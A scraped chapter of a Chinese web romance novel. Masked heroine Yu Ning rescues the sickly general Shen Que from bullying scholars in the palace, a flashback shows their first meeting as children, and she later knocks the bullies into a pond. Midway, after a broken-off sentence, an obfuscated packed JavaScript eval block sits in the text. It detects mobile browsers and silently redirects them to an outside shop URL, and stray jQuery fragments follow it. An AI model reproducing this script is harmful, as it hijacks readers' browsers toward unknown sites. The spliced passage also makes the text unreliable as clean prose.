文趣网 > 其他小说 > 病弱表哥他总想拦我翻案 > 8. 我是你姑奶奶
    从殿前回座。任是虞宁这样胆子大的还是腿软了。

    精神紧张,刚上的辣汤都有些食之无味。

    沈轻廷拿着软垫在她身边坐下,感叹一句:“宁娘,方才真是威风,我看见圣上估计话都说不上来。”

    虞宁扒拉几下刚刚还视若珍宝的珍馐,忽然肚子一阵剧痛传来,想找地方释放一下。

    “二姐,宫里有净房吗?”

    宫中茅厕,顶奢配置。

    她跟着宫女来了一处没人住的偏殿,净房前用雕花屏风遮挡,木制漆器坐便器,脚边放了一小盘龙脑香散味。

    虞宁没坐过这么舒服的马桶。

    她恨不得把马桶偷回家自用,又恨不得把未来几十年的一次性拉完,这样就不用回去蹲自家那种连进去都要避免踩到屎的茅房了。

    晚上吃得多,一次给马桶拉堵了。

    “不会吧......”她蹲下身去看。

    拿起虎子捅了好久才把它们搋下去,虞宁理好衣裳准备出门散散味。

    刚从偏殿出来,便听见不远处隐约传来的人声。

    她蹑手蹑脚的靠近,避免自己踩到枯树叶树枝,终于选了个好角落。

    几人围在院墙外头,她蹲在院里头的翠竹林内安静的偷听。

    “你不会真以为,你回来了叶儿就会回来找你吧?”

    靠。

    虞宁不想听了,“怎么又是他,阴魂不散了?”

    “咣当——”

    是剑砸在地上的声音。

    为首的问:“沈将军今日还能拔刀吗?”

    周围一群人哄笑起来:“当年轰动长安的少年将军,几年不见连刀都拿不起来了。”

    “哎,沈兄身体不好,我扶你一把吧?”

    她直起身要走,又听见几人窸窸窣窣的,竟然动起手来了!

    在宫里头还敢造次?

    想着自己和他的那笔交易,虞宁劝了自己好久。

    催眠催眠催眠——

    到最后,虞宁还是将帕子遮住脸,一跃跳至院墙,揪了几片竹叶向墙下几人的脸打去。

    竹叶原本软塌塌的,到她手中变成根针似的,刷刷两下刺过来。

    五人捂着脸抬头,只见一蒙面女侠站在墙头,她轻身一翻,落在四五人前,将沈却护在身后。

    “你是谁?”

    为首那个白净书生问。

    虞宁从发间拆下一根发簪,细看发簪才知是一把小匕首。

    “我是你们姑奶奶!”

    我是你姑奶奶!——

    沈却瞪大了眼睛。

    “小孬种!欺负伤患,算什么汉子!”这声音还是稚嫩,小女孩拿着弹珠将小沈却身前十几个小流浪汉一个个打走。

    “你是哪儿来的黄毛丫头?想喝老子的尿了是吧?”

    “满嘴喷粪!......我是你姑奶奶!”说着,她挑起一根竹竿冲上去,一头撞在对方小腹上。

    长杆一转,无人能近身。

    “一起上!一起上!”带头的唤道。

    几个孩子张牙舞爪的就向小女孩扑来。

    小女孩手腕一沉,竹竿横扫而出,那人刚抬起手臂便被击中肋下,踉跄几步撞到身边人。

    后面三人趁势扑上,小女孩收杆,竹梢擦着其中一人肩头掠过。

    啪!

    竹竿抽在那人手背上。

    棍风带着衣袖猎猎作响,十几人被她一人打的鼻青脸肿。

    “姑奶奶!我们错了!”

    小女孩还不到沈却下巴高,挑挑下巴:“拿着馒头,滚。”

    他身上揣了一大包的馒头,是戚夫人买来救济伤民用的,现在被十几个小流浪汉抢走了一半。

    比他小几岁的小女孩将他扶起来坐在路边石阶上。

    她看了看他怀里的馒头问:“戚夫人要买的?”

    “这你都知道?”小沈却问,“这些戚夫人要救济伤民用的,但现在一半都没了......”

    “没关系,那些乞丐也是流民,没钱吃饭。”女孩从怀里掏出一个小荷包,从里头倒出来一半的碎银在他手心,“你用这些钱再去买一点,然后带回去交差就行了。”

    过了一会她瞪着大眼睛又问:“你是戚夫人带回来的?她收养你了?”

    “没有,”小沈却义正严辞道,“我是从边关来的,等伤好了我要回军营。”

    “你?”小女孩上下打量他一番,很是不信任:“你连我都打不过,怎么上战场杀敌?”

    “我是受伤了,若我没受伤,肯定能击退他们!”

    女孩也不怀疑,郑重其事地点头:“嗯嗯,我信你。”

    沈却看着手中的碎银沉默半晌,问:“不如你跟我一起去买馒头带给戚夫人吧?”

    “不要,戚夫人看见我要将我千刀万剐的。”

    “那你要去哪?”

    女孩像是听见什么声音一样,连忙对他说:“我师父叫我了,我得去找他。你就把馒头买了去找戚夫人,剩下的钱就自己留着花。”

    沈却都来不及问她姓名,就让她跑走了。

    后来在戚夫人家中又住了半月,直到伤口愈合,他才跟着副将回了军营。

    但自那之后他再也没见过这个姑奶奶。

    是她?

    宫闱重地,虞宁不想惹事生非,将地上的剑踹到几人脚下道:“不想被我打的屁滚尿流的就拿着剑赶快滚,别惹你们姑奶奶生气,否则给你们捆到圣上面前治你们一个凌辱朝廷命官罪。”

    几个书生看她细胳膊细腿的,还想上前鏖战。

    就听病秧子咳嗽几声道:“佟公子婚期将近,不想这时候出点差错,被退了婚约吧?”

    佟毓朗拦住身后几人:“这次就算了。我们走。”

    这次?

    虞宁又抓住了重点,难道还有下次?

    那拜托下次别再让她撞见,偷偷的、悄悄地进行好吗?

    沈却理了理衣角,调整呼吸:“你怎么在这?”

    虞宁想起自己没帮他说赐婚之事:“我是出来候着圣上,想着给你说赐婚的事儿。”

    整个宫廊除了他们空无一人,沈却站在曲廊下,月光照在他脸上,白的像一块刚出土的璞玉,我见犹怜。

    曲廊幽深,两侧花木繁盛,正是山茶开放的季节,月下山茶香也同他的面庞一样被放大,闻见清冷香气。

    “不必了。”

    他的声音低沉有力。

    虞宁没听清:“什么?你说什么?”

    沈却微皱眉头:“我说,本来执意要娶叶家女也是因为他们叶家今年有个探花郎。”

    “什么探花郎……”虞宁脚趾头想想都知道沈却心思,“那我们之间的交易……”

    沈却神情微顿,抿住唇角,脸上闪现一丝慌乱:“你现在已经是呈堂讼师了,是我又临时改了主意不想要这桩婚事了,所以交易作罢。”

    虞宁不想欠别人的,但再怎么追问下去,沈却都说“不必了”。

    她的目光追随他离开的身影,只见男人一身绯袍在身,步履悬浮,风一吹便要倒下似的。

    殿后曲廊连着花园,酒过三巡,梁帝兴致正浓,命众臣不必拘礼。

    虞宁回到女眷席时,大部分人已经去宫苑水榭看灯了,她排了些存物肚子又饿了,吃完一份阳春面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922800|213488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又啃了块加肉的胡饼,她才稍微有些饱意。

    喝了两杯果酒消化,虞宁也起身去往花园。

    水榭后面就是宫苑,曲廊沿着池岸蜿蜒,几盏宫灯隔着数丈才挂一盏。灯影落不到的地方,只剩一团浓重的夜色。

    今日下元节,宫里灯笼都换成走马灯。

    她在一盏走马灯前站住,灯壁上的纸影一圈圈转起来,须臾是策马扬鞭的少年,须臾又成了飞花流水,影影绰绰,仿佛一场永远走不完的旧梦。

    留在人少的角落,看着园中嬉笑的人群,虞宁突然想起小时候虞爹带她去市集上挑灯。

    ——那儿可比这宫里有意思多了。

    杂耍驯兽走马灯、说书唱曲莲花落。

    这宫里人只能看看做的比外头精湛些许的木灯乐呵。

    举头看向被一面面宫墙围起的星空,月亮在外头,几颗被困的星星忽明忽暗。

    她望着宫墙外那轮明月。

    墙外灯火万千,墙内却只有一轮月色。

    却有那么多人宁愿挤进这四四方方的天底下。

    挨个看着走马灯上的图样,围着宫苑绕了一圈。

    有金榜题名,有紫气东来,还有草船借箭、围魏救赵这样的小故事灯。

    看完走马灯,从廊角经过时,虞宁恰好瞧见那几个方才准备欺凌沈却的书生团伙。

    虞宁邪魅一笑。

    真是冤家路窄啊。

    刚刚没对他们动手还有点手痒痒。

    既然沈却帮了她这么大一个忙,自己也要送他点回礼。

    她装作不认得,若无其事的往前走。

    待他们一同经过池畔时,虞宁裙摆轻轻一扫——

    扑通!

    “谁推我?”

    “你拽我做甚!”

    接连四声落水响,惊起池中一片水花。

    “等下个月小儿成亲,沈大人一定要来府上啊。”佟磬正在殿里“把酒言欢”着,还看了眼沈却,“将沈小将军也带来,同龄人,沾个喜气,也早日成家。”

    沈获笑的脸都僵了,只能答应下来。

    园中跑来一人,嘴上喊着“不好了佟大人!”

    佟磬瞥他一眼:“什么事这般着急?”

    “佟大人!令郎落水了!”

    “什么!”他大惊,丢下手中的酒盏往园中跑。

    沈获如释重负的坐回席上,看自己儿子难得笑的开心,拿起酒杯:“跟阿父喝一杯?”

    沈却向来寡言少语:“父亲,儿子只能以茶代酒了。”

    “好,你陪我喝就好。”

    园中一片兵荒马乱时,大殿内却依旧歌舞未歇。

    沈获看着殿中寥寥无几的人,长叹气:“天下熙熙,皆为利来。我是你阿父,你别以为我看不出来你什么心思。”

    沈却垂眸:“父亲,你喝醉了。”

    “你想娶那叶家女,当真是喜欢人家?回长安路上我看你连她长什么样子叫什么名字都是现学现卖的。不过叶家二弟今年春闱中第,可对?”

    沈却望向他手中自己再也不能拿起来的烈酒酒盏,轻轻松了口气:“什么都瞒不过父亲。”

    “你怎么不像阿父,阿父就不爱这些虚名……”他困的眼皮都抬不起来了,嘴上还说着话。

    从小聊到大,从沿海兵到边关军,他久经沙场,现在只想赶紧养老。

    “却儿,你也到了谈婚论嫁的年纪了,若是有心仪之人,阿父一定全力帮你争取。”

    沈却摇头:“父亲,我现在并无心仪之人。”

    脑海中突然闪现一下那笑吟吟的女子面容,沈却微微一愣,目光不觉向宫苑投去。